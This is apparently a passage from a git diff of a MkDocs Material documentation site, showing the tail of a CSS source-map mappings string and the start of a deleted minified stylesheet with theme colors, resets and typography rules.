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GN,CkC51GE,oEACE,0BlC+1GJ,CkC51GI,kFACE,wBAlBG,CAmBH,qDAAA,CAAA,6ClC81GN,CkC11GI,gFACE,alC41GN,CkCj3GE,8DACE,oBlCo3GJ,CkCj3GI,wFACE,gClCm3GN,CkC92GE,sEACE,0BlCi3GJ,CkC92GI,oFACE,wBAlBG,CAmBH,sDAAA,CAAA,8ClCg3GN,CkC52GI,kFACE,alC82GN,CkCn4GE,4DACE,oBlCs4GJ,CkCn4GI,sFACE,gClCq4GN,CkCh4GE,oEACE,0BlCm4GJ,CkCh4GI,kFACE,wBAlBG,CAmBH,qDAAA,CAAA,6ClCk4GN,CkC93GI,gFACE,alCg4GN,CkCr5GE,4DACE,oBlCw5GJ,CkCr5GI,sFACE,gClCu5GN,CkCl5GE,oEACE,0BlCq5GJ,CkCl5GI,kFACE,wBAlBG,CAmBH,qDAAA,CAAA,6ClCo5GN,CkCh5GI,gFACE,alCk5GN,CkCv6GE,0DACE,oBlC06GJ,CkCv6GI,oFACE,gClCy6GN,CkCp6GE,kEACE,0BlCu6GJ,CkCp6GI,gFACE,wBAlBG,CAmBH,oDAAA,CAAA,4ClCs6GN,CkCl6GI,8EACE,alCo6GN,CkCz7GE,oDACE,oBlC47GJ,CkCz7GI,8EACE,gClC27GN,CkCt7GE,4DACE,0BlCy7GJ,CkCt7GI,0EACE,wBAlBG,CAmBH,iDAAA,CAAA,yClCw7GN,CkCp7GI,wEACE,alCs7GN,CkC38GE,4DACE,oBlC88GJ,CkC38GI,sFACE,gClC68GN,CkCx8GE,oEACE,0BlC28GJ,CkCx8GI,kFACE,wBAlBG,CAmBH,qDAAA,CAAA,6ClC08GN,CkCt8GI,gFACE,alCw8GN,CkC79GE,wDACE,oBlCg+GJ,CkC79GI,kFACE,gClC+9GN,CkC19GE,gEACE,0BlC69GJ,CkC19GI,8EACE,wBAlBG,CAmBH,mDAAA,CAAA,2ClC49GN,CkCx9GI,4EACE,alC09GN,CmC9nHA,MACE,wMnCioHF,CmCxnHE,sBAEE,uCAAA,CADA,gBnC4nHJ,CmCxnHI,mCACE,anC0nHN,CmC3nHI,mCACE,cnC0nHN,CmCtnHM,4BACE,sBnCwnHR,CmCrnHQ,mCACE,gC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","file":"main.css"} \ No newline at end of file diff --git a/assets/stylesheets/main.76a95c52.min.css b/assets/stylesheets/main.76a95c52.min.css deleted file mode 100644 index 120bca6f..00000000 --- a/assets/stylesheets/main.76a95c52.min.css +++ /dev/null @@ -1 +0,0 @@ -@charset "UTF-8";html{-webkit-text-size-adjust:none;-moz-text-size-adjust:none;text-size-adjust:none;box-sizing:border-box}*,:after,:before{box-sizing:inherit}@media (prefers-reduced-motion){*,:after,:before{transition:none!important}}body{margin:0}a,button,input,label{-webkit-tap-highlight-color:transparent}a{color:inherit;text-decoration:none}hr{border:0;box-sizing:initial;display:block;height:.05rem;overflow:visible;padding:0}small{font-size:80%}sub,sup{line-height:1em}img{border-style:none}table{border-collapse:initial;border-spacing:0}td,th{font-weight:400;vertical-align:top}button{background:#0000;border:0;font-family:inherit;font-size:inherit;margin:0;padding:0}input{border:0;outline:none}:root{--md-primary-fg-color:#4051b5;--md-primary-fg-color--light:#5d6cc0;--md-primary-fg-color--dark:#303fa1;--md-primary-bg-color:#fff;--md-primary-bg-color--light:#ffffffb3;--md-accent-fg-color:#526cfe;--md-accent-fg-color--transparent:#526cfe1a;--md-accent-bg-color:#fff;--md-accent-bg-color--light:#ffffffb3}[data-md-color-scheme=default]{color-scheme:light}[data-md-color-scheme=default] img[src$="#gh-dark-mode-only"],[data-md-color-scheme=default] img[src$="#only-dark"]{display:none}:root,[data-md-color-scheme=default]{--md-hue:225deg;--md-default-fg-color:#000000de;--md-default-fg-color--light:#0000008a;--md-default-fg-color--lighter:#00000052;--md-default-fg-color--lightest:#00000012;--md-default-bg-color:#fff;--md-default-bg-color--light:#ffffffb3;--md-default-bg-color--lighter:#ffffff4d;--md-default-bg-color--lightest:#ffffff1f;--md-code-fg-color:#36464e;--md-code-bg-color:#f5f5f5;--md-code-hl-color:#4287ff;--md-code-hl-color--light:#4287ff1a;--md-code-hl-number-color:#d52a2a;--md-code-hl-special-color:#db1457;--md-code-hl-function-color:#a846b9;--md-code-hl-constant-color:#6e59d9;--md-code-hl-keyword-color:#3f6ec6;--md-code-hl-string-color:#1c7d4d;--md-code-hl-name-color:var(--md-code-fg-color);--md-code-hl-operator-color:var(--md-default-fg-color--light);--md-code-hl-punctuation-color:var(--md-default-fg-color--light);--md-code-hl-comment-color:var(--md-default-fg-color--light);--md-code-hl-generic-color:var(--md-default-fg-color--light);--md-code-hl-variable-color:var(--md-default-fg-color--light);--md-typeset-color:var(--md-default-fg-color);--md-typeset-a-color:var(--md-primary-fg-color);--md-typeset-del-color:#f5503d26;--md-typeset-ins-color:#0bd57026;--md-typeset-kbd-color:#fafafa;--md-typeset-kbd-accent-color:#fff;--md-typeset-kbd-border-color:#b8b8b8;--md-typeset-mark-color:#ffff0080;--md-typeset-table-color:#0000001f;--md-typeset-table-color--light:rgba(0,0,0,.035);--md-admonition-fg-color:var(--md-default-fg-color);--md-admonition-bg-color:var(--md-default-bg-color);--md-warning-fg-color:#000000de;--md-warning-bg-color:#ff9;--md-footer-fg-color:#fff;--md-footer-fg-color--light:#ffffffb3;--md-footer-fg-color--lighter:#ffffff73;--md-footer-bg-color:#000000de;--md-footer-bg-color--dark:#00000052;--md-shadow-z1:0 0.2rem 0.5rem #0000000d,0 0 0.05rem #0000001a;--md-shadow-z2:0 0.2rem 0.5rem #0000001a,0 0 0.05rem #00000040;--md-shadow-z3:0 0.2rem 0.5rem #0003,0 0 0.05rem #00000059}.md-icon svg{fill:currentcolor;display:block;height:1.2rem;width:1.2rem}body{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;--md-text-font-family:var(--md-text-font,_),-apple-system,BlinkMacSystemFont,Helvetica,Arial,sans-serif;--md-code-font-family:var(--md-code-font,_),SFMono-Regular,Consolas,Menlo,monospace}aside,body,input{font-feature-settings:"kern","liga";color:var(--md-typeset-color);font-family:var(--md-text-font-family)}code,kbd,pre{font-feature-settings:"kern";font-family:var(--md-code-font-family)}:root{--md-typeset-table-sort-icon:url('data:image/svg+xml;charset=utf-8,');--md-typeset-table-sort-icon--asc:url('data:image/svg+xml;charset=utf-8,');--md-typeset-table-sort-icon--desc:url('data:image/svg+xml;charset=utf-8,')}.md-typeset{-webkit-print-color-adjust:exact;color-adjust:exact;font-size:.8rem;line-height:1.6}@media print{.md-typeset{font-size:.68rem}}.md-typeset blockquote,.md-typeset dl,.md-typeset figure,.md-typeset ol,.md-typeset pre,.md-typeset ul{margin-bottom:1em;margin-top:1em}.md-typeset h1{color:var(--md-default-fg-color--light);font-size:2em;line-height:1.3;margin:0 0 1.25em}.md-typeset h1,.md-typeset h2{font-weight:300;letter-spacing:-.01em}.md-typeset h2{font-size:1.5625em;line-height:1.4;margin:1.6em 0 .64em}.md-typeset h3{font-size:1.25em;font-weight:400;letter-spacing:-.01em;line-height:1.5;margin:1.6em 0 .8em}.md-typeset h2+h3{margin-top:.8em}.md-typeset 